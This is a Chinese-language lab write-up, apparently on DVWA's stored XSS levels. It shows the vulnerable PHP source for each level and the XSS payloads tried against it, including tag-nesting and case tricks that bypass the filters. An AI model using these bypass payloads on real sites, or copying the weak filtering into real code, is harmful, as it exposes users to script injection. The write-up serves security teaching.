2. 存储型XSS(持久型XSS) l 存储型XSS脚本攻击是指由于web应用程序对用户输入数据的不严格,导致web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中; l 攻击脚本将被永远地存放在目标服务器的数据库或文件中,具有很高的隐蔽性; l 当网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行展示,进而导致跨站脚本代码的攻击。
Low源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
只看input部分代码
Message input中有一个函数stripslashes,用于删除由addslashes()函数添加的反斜杠\
【addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。】
所以没有任何过滤
https://www.runoob.com/php/func-string-stripslashes.html
输入之前改一下字数限制 <td> <input type="text" maxlength="10" size="30" name="txtName"> </td> 长度10改成了50 Name框中
输入1:
<script>alert(/xss/)</script>
出现弹窗,再跳转到其他页面中,弹窗仍然出现;
因为是存储型xss,每次登陆该页面,就会出现弹窗
源码:<div id="guestbook_comments">Name: alert(/xss/)</script><br />Message: 1<br /></div>
输入2:
<body onload=alert(/xss/)>
出现弹窗
源码:<div id="guestbook_comments">Name: <body onload=alert(/xsss/)><br />Message: 1<br /></div>
Medium源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
先输入常见语句
输入1:
<script>alert(/xss/)</script>
未出现弹窗 <div id="guestbook_comments">Name: alert(/xss/)</script><br />Message: 1<br /></div>
<script>被过滤了
输入2:
<body onload=alert(/xss/)>
出现弹窗
<div id="guestbook_comments">Name: <body onload=alert(/xss/)><br />Message: 1<br /></div> <br /> 输入3:
<scri<script>pt>alert(/xss/)<script>
出现弹窗
<div id="guestbook_comments">Name: <script>alert(/xss/)<br />Message: 1<br /></div>
输入4:
<Script>alert(/xss/)<script>
出现弹窗
<div id="guestbook_comments">Name: <Script>alert(/xss/)<br />Message: 1<br /></div>
High源码
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> 原理同反射型xss Impossible(不可绕过) 反射型为例 源码: <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?> 输入1: <script>alert(/xss/)</script> 无弹窗,且返回Hello <script>alert(/xss/)</script> 源码: <pre>Hello <script>alert(/xss/)</script></pre> 观察发现<>都被转换了 Impossible的源码中有一个函数htmlspecialchars( $_GET[ 'name' ] ); 该函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是: & (和号)成为 & " (双引号)成为 " ' (单引号)成为 ' < (小于)成为 < > (大于)成为 > 函数把输入的<和>给过滤掉了 impossible存储型源码: <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO: ARAM_STR ); $data->bindParam( ':name', $name, PDO: ARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?> 源码中有函数htmlspecialchars( );所以原理同反射型xss 尝试一些语句 <script>alert(/xss/)</script> 无弹窗,返回 Name: <body onload=alert(/xsss/)>
Message: 1
|